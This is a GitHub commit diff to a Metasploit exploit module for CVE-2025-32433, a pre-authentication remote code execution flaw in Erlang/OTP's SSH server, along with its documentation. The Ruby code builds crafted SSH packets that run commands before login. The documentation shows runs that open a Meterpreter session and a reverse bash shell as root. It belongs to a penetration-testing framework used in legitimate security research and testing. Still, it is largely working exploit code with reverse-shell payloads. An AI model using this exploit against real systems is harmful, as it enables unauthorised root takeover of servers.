Skip to content

Commit 32a8e67

Browse files
committed
fixes review
Signed-off-by: RAMELLA Sebastien <[email protected]>
1 parent 740a813 commit 32a8e67

File tree

2 files changed

+73
-82
lines changed

2 files changed

+73
-82
lines changed

documentation/modules/exploit/linux/ssh/ssh_erlangotp_rce.md

Lines changed: 41 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -49,12 +49,6 @@ docker run -d -p 2223:2223 patched-ssh:latest
4949
3. Do: `set RHOSTS [IP]`
5050
4. Do: `run`
5151

52-
## Options
53-
54-
**CHECK_ONLY**
55-
56-
Only check for vulnerability without exploiting. Default: `false`
57-
5852
## Scenarios
5953

6054
### Using linux commands (Target 0)
@@ -66,12 +60,11 @@ msf6 exploit(linux/ssh/ssh_erlangotp_rce) > options
6660
6761
Module options (exploit/linux/ssh/ssh_erlangotp_rce):
6862
69-
Name Current Setting Required Description
70-
---- --------------- -------- -----------
71-
CHECK_ONLY false no Only check for vulnerability without exploiting
72-
RHOSTS 172.20.7.45 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
73-
RPORT 2222 yes The target port (TCP)
74-
THREADS 1 yes The number of concurrent threads (max one per host)
63+
Name Current Setting Required Description
64+
---- --------------- -------- -----------
65+
RHOSTS 192.168.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
66+
RPORT 2222 yes The target port (TCP)
67+
SSH_IDENT SSH-2.0-OpenSSH_8.9 yes SSH client identification string sent to the server
7568
7669
Payload options (cmd/linux/https/x64/meterpreter/reverse_tcp):
7770
@@ -84,14 +77,14 @@ Payload options (cmd/linux/https/x64/meterpreter/reverse_tcp):
8477
FETCH_SRVHOST no Local IP to use for serving payload
8578
FETCH_SRVPORT 8080 yes Local port to use for serving payload
8679
FETCH_URIPATH no Local URI to use for serving payload
87-
LHOST 172.20.7.45 yes The listen address (an interface may be specified)
80+
LHOST 192.168.0.1 yes The listen address (an interface may be specified)
8881
LPORT 4444 yes The listen port
8982
9083
When FETCH_FILELESS is false:
9184
9285
Name Current Setting Required Description
9386
---- --------------- -------- -----------
94-
FETCH_FILENAME fxCcJWmo no Name to use on remote system when storing payload; cannot contain spaces or slashes
87+
FETCH_FILENAME tVzpeXtmX no Name to use on remote system when storing payload; cannot contain spaces or slashes
9588
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
9689
9790
Exploit target:
@@ -103,15 +96,21 @@ Exploit target:
10396
View the full module info with the info, or info -d command.
10497
10598
msf6 exploit(linux/ssh/ssh_erlangotp_rce) > run
106-
[*] Started reverse TCP handler on 172.20.7.45:4444
107-
[*] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Starting exploit for CVE-2025-32433
108-
[+] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Received banner: SSH-2.0-Erlang/5.1.4.7
109-
[*] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Sending SSH_MSG_KEXINIT...
110-
[*] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Sending SSH_MSG_CHANNEL_OPEN...
111-
[*] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
112-
[+] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Payload sent successfully
99+
[*] Started reverse TCP handler on 192.168.0.1:4444
100+
[*] 192.168.0.1:2222 - Running automatic check ("set AutoCheck false" to disable)
101+
[*] 192.168.0.1:2222 - Starting scanner for CVE-2025-32433
102+
[*] 192.168.0.1:2222 - Sending SSH_MSG_KEXINIT...
103+
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_OPEN...
104+
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
105+
[+] 192.168.0.1:2222 - The target is vulnerable.
106+
[*] 192.168.0.1:2222 - Starting exploit for CVE-2025-32433
107+
[+] 192.168.0.1:2222 - Received banner: SSH-2.0-Erlang/5.1.4.7
108+
[*] 192.168.0.1:2222 - Sending SSH_MSG_KEXINIT...
109+
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_OPEN...
110+
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
111+
[+] 192.168.0.1:2222 - Payload sent successfully
113112
[*] Sending stage (3045380 bytes) to 172.17.0.2
114-
[*] Meterpreter session 1 opened (172.20.7.45:4444 -> 172.17.0.2:37326) at 2025-04-25 10:18:19 +0400
113+
[*] Meterpreter session 1 opened (192.168.0.1:4444 -> 172.17.0.2:35770) at 2025-04-27 20:23:02 +0400
115114
116115
meterpreter >
117116
```
@@ -125,18 +124,17 @@ msf6 exploit(linux/ssh/ssh_erlangotp_rce) > options
125124
126125
Module options (exploit/linux/ssh/ssh_erlangotp_rce):
127126
128-
Name Current Setting Required Description
129-
---- --------------- -------- -----------
130-
CHECK_ONLY false no Only check for vulnerability without exploiting
131-
RHOSTS 172.20.7.45 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
132-
RPORT 2222 yes The target port (TCP)
133-
THREADS 1 yes The number of concurrent threads (max one per host)
127+
Name Current Setting Required Description
128+
---- --------------- -------- -----------
129+
RHOSTS 192.168.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
130+
RPORT 2222 yes The target port (TCP)
131+
SSH_IDENT SSH-2.0-OpenSSH_8.9 yes SSH client identification string sent to the server
134132
135133
Payload options (cmd/unix/reverse_bash):
136134
137135
Name Current Setting Required Description
138136
---- --------------- -------- -----------
139-
LHOST 172.20.7.45 yes The listen address (an interface may be specified)
137+
LHOST 192.168.0.1 yes The listen address (an interface may be specified)
140138
LPORT 4444 yes The listen port
141139
142140
Exploit target:
@@ -148,14 +146,20 @@ Exploit target:
148146
View the full module info with the info, or info -d command.
149147
150148
msf6 exploit(linux/ssh/ssh_erlangotp_rce) > run
151-
[*] Started reverse TCP handler on 172.20.7.45:4444
152-
[*] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Starting exploit for CVE-2025-32433
153-
[+] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Received banner: SSH-2.0-Erlang/5.1.4.7
154-
[*] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Sending SSH_MSG_KEXINIT...
155-
[*] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Sending SSH_MSG_CHANNEL_OPEN...
156-
[*] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
157-
[+] 172.20.7.45:2222 - ssh://172.20.7.45:2222 - Payload sent successfully
158-
[*] Command shell session 13 opened (172.20.7.45:4444 -> 172.17.0.2:44366) at 2025-04-25 10:21:05 +0400
149+
[*] Started reverse TCP handler on 192.168.0.1:4444
150+
[*] 192.168.0.1:2222 - Running automatic check ("set AutoCheck false" to disable)
151+
[*] 192.168.0.1:2222 - Starting scanner for CVE-2025-32433
152+
[*] 192.168.0.1:2222 - Sending SSH_MSG_KEXINIT...
153+
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_OPEN...
154+
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
155+
[+] 192.168.0.1:2222 - The target is vulnerable.
156+
[*] 192.168.0.1:2222 - Starting exploit for CVE-2025-32433
157+
[+] 192.168.0.1:2222 - Received banner: SSH-2.0-Erlang/5.1.4.7
158+
[*] 192.168.0.1:2222 - Sending SSH_MSG_KEXINIT...
159+
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_OPEN...
160+
[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
161+
[+] 192.168.0.1:2222 - Payload sent successfully
162+
[*] Command shell session 1 opened (192.168.0.1:4444 -> 172.17.0.2:59042) at 2025-04-27 20:24:41 +0400
159163
160164
whoami
161165
root

modules/exploits/linux/ssh/ssh_erlangotp_rce.rb

Lines changed: 32 additions & 45 deletions
Original file line numberDiff line numberDiff line change
@@ -5,8 +5,9 @@
55

66
class MetasploitModule < Msf::Exploit::Remote
77
Rank = ExcellentRanking
8+
9+
prepend Msf::Exploit::Remote::AutoCheck
810
include Msf::Exploit::Remote::Tcp
9-
include Msf::Auxiliary::Scanner
1011
include Msf::Auxiliary::Report
1112

1213
def initialize(info = {})
@@ -45,6 +46,7 @@ def initialize(info = {})
4546
'Type' => :linux_cmd,
4647
'DefaultOptions' => {
4748
'PAYLOAD' => 'cmd/linux/https/x64/meterpreter/reverse_tcp'
49+
# cmd/linux/http/aarch64/meterpreter/reverse_tcp has also been tested successfully with this module.
4850
}
4951
}
5052
],
@@ -59,19 +61,20 @@ def initialize(info = {})
5961
}
6062
]
6163
],
62-
'Privileged' => false,
64+
'Privileged' => true,
6365
'DisclosureDate' => '2025-04-16',
6466
'DefaultTarget' => 0,
6567
'Notes' => {
6668
'Stability' => [CRASH_SAFE],
6769
'Reliability' => [REPEATABLE_SESSION],
68-
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
70+
'SideEffects' => [IOC_IN_LOGS]
6971
}
7072
)
7173
)
7274

7375
register_options([
74-
OptBool.new('CHECK_ONLY', [false, 'Only check for vulnerability without exploiting', false])
76+
Opt::RPORT(22),
77+
OptString.new('SSH_IDENT', [true, 'SSH client identification string sent to the server', 'SSH-2.0-OpenSSH_8.9'])
7578
])
7679
end
7780

@@ -95,7 +98,7 @@ def build_channel_request(channel_id, command)
9598

9699
# builds a minimal but valid SSH_MSG_KEXINIT packet
97100
def build_kexinit
98-
cookie = "\x00" * 16
101+
cookie = SecureRandom.random_bytes(16)
99102
"\x14" +
100103
cookie +
101104
name_list(
@@ -115,10 +118,6 @@ def build_kexinit
115118
[0].pack('N')
116119
end
117120

118-
def message(msg)
119-
"ssh://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
120-
end
121-
122121
# formats a list of names into an SSH-compatible string (comma-separated)
123122
def name_list(names)
124123
string_payload(names.join(','))
@@ -142,112 +141,100 @@ def string_payload(str)
142141
[s_bytes.length].pack('N') + s_bytes
143142
end
144143

145-
def check_host(target_host)
146-
print_status(message('Starting scanner for CVE-2025-32433'))
144+
def check
145+
print_status('Starting scanner for CVE-2025-32433')
147146

148147
connect
149-
sock.put("SSH-2.0-OpenSSH_8.9\r\n")
148+
sock.put("#{datastore['SSH_IDENT']}\r\n")
150149
banner = sock.get_once(1024, 10)
151150
unless banner
152-
print_status(message('No banner received'))
153-
return Exploit::CheckCode::Unknown
151+
return Exploit::CheckCode::Unknown('No banner received')
154152
end
155153

156154
unless banner.to_s.downcase.include?('erlang')
157-
print_status(message("Not an Erlang SSH service: #{banner.strip}"))
158-
return Exploit::CheckCode::Safe
155+
return Exploit::CheckCode::Safe("Not an Erlang SSH service: #{banner.strip}")
159156
end
157+
160158
sleep(0.5)
161159

162-
print_status(message('Sending SSH_MSG_KEXINIT...'))
160+
print_status('Sending SSH_MSG_KEXINIT...')
163161
kex_packet = build_kexinit
164162
sock.put(pad_packet(kex_packet, 8))
165163
sleep(0.5)
166164

167165
response = sock.get_once(1024, 5)
168166
unless response
169-
print_status(message("Detected Erlang SSH service: #{banner.strip}, but no response to KEXINIT"))
170-
return Exploit::CheckCode::Detected
167+
return Exploit::CheckCode::Detected("Detected Erlang SSH service: #{banner.strip}, but no response to KEXINIT")
171168
end
172169

173-
print_status(message('Sending SSH_MSG_CHANNEL_OPEN...'))
170+
print_status('Sending SSH_MSG_CHANNEL_OPEN...')
174171
chan_open = build_channel_open(0)
175172
sock.put(pad_packet(chan_open, 8))
176173
sleep(0.5)
177174

178-
print_status(message('Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...'))
175+
print_status('Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...')
179176
chan_req = build_channel_request(0, Rex::Text.rand_text_alpha(rand(4..8)).to_s)
180177
sock.put(pad_packet(chan_req, 8))
181178
sleep(0.5)
182179

183180
begin
184181
sock.get_once(1024, 5)
185182
rescue EOFError, Errno::ECONNRESET
186-
print_error(message('The target is not vulnerable to CVE-2025-32433.'))
187-
return Exploit::CheckCode::Safe
183+
return Exploit::CheckCode::Safe('The target is not vulnerable to CVE-2025-32433.')
188184
end
189185
sock.close
190186

191-
note = 'The target is vulnerable to CVE-2025-32433.'
192-
print_good(message(note))
193187
report_vuln(
194-
host: target_host,
188+
host: datastore['RHOST'],
195189
name: name,
196190
refs: references,
197-
info: note
191+
info: 'The target is vulnerable to CVE-2025-32433.'
198192
)
199193
Exploit::CheckCode::Vulnerable
200194
rescue Rex::ConnectionError
201-
print_error(message('Failed to connect to the target'))
202-
Exploit::CheckCode::Unknown
195+
Exploit::CheckCode::Unknown('Failed to connect to the target')
203196
rescue Rex::TimeoutError
204-
print_error(message('Connection timed out'))
205-
Exploit::CheckCode::Unknown
197+
Exploit::CheckCode::Unknown('Connection timed out')
206198
ensure
207199
disconnect unless sock.nil?
208200
end
209201

210202
def exploit
211-
if datastore['CHECK_ONLY']
212-
check_host(datastore['RHOST'])
213-
return
214-
end
215-
216-
print_status(message('Starting exploit for CVE-2025-32433'))
203+
print_status('Starting exploit for CVE-2025-32433')
217204
connect
218205
sock.put("SSH-2.0-OpenSSH_8.9\r\n")
219206
banner = sock.get_once(1024)
220207
if banner
221-
print_good(message("Received banner: #{banner.strip}"))
208+
print_good("Received banner: #{banner.strip}")
222209
else
223210
fail_with(Failure::Unknown, 'No banner received')
224211
end
225212
sleep(0.5)
226213

227-
print_status(message('Sending SSH_MSG_KEXINIT...'))
214+
print_status('Sending SSH_MSG_KEXINIT...')
228215
kex_packet = build_kexinit
229216
sock.put(pad_packet(kex_packet, 8))
230217
sleep(0.5)
231218

232-
print_status(message('Sending SSH_MSG_CHANNEL_OPEN...'))
219+
print_status('Sending SSH_MSG_CHANNEL_OPEN...')
233220
chan_open = build_channel_open(0)
234221
sock.put(pad_packet(chan_open, 8))
235222
sleep(0.5)
236223

237-
print_status(message('Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...'))
224+
print_status('Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...')
238225
chan_req = build_channel_request(0, payload.encoded)
239226
sock.put(pad_packet(chan_req, 8))
240227

241228
begin
242229
response = sock.get_once(1024, 5)
243230
if response
244-
vprint_status(message("Received response: #{response.unpack('H*').first}"))
245-
print_good(message('Payload sent successfully'))
231+
vprint_status("Received response: #{response.unpack('H*').first}")
232+
print_good('Payload sent successfully')
246233
else
247-
print_status(message('No response within timeout period (which is expected)'))
234+
print_status('No response within timeout period (which is expected)')
248235
end
249236
rescue Rex::TimeoutError
250-
print_status(message('No response within timeout period (which is expected)'))
237+
print_status('No response within timeout period (which is expected)')
251238
end
252239
sock.close
253240
rescue Rex::ConnectionError

0 commit comments

Comments
 (0)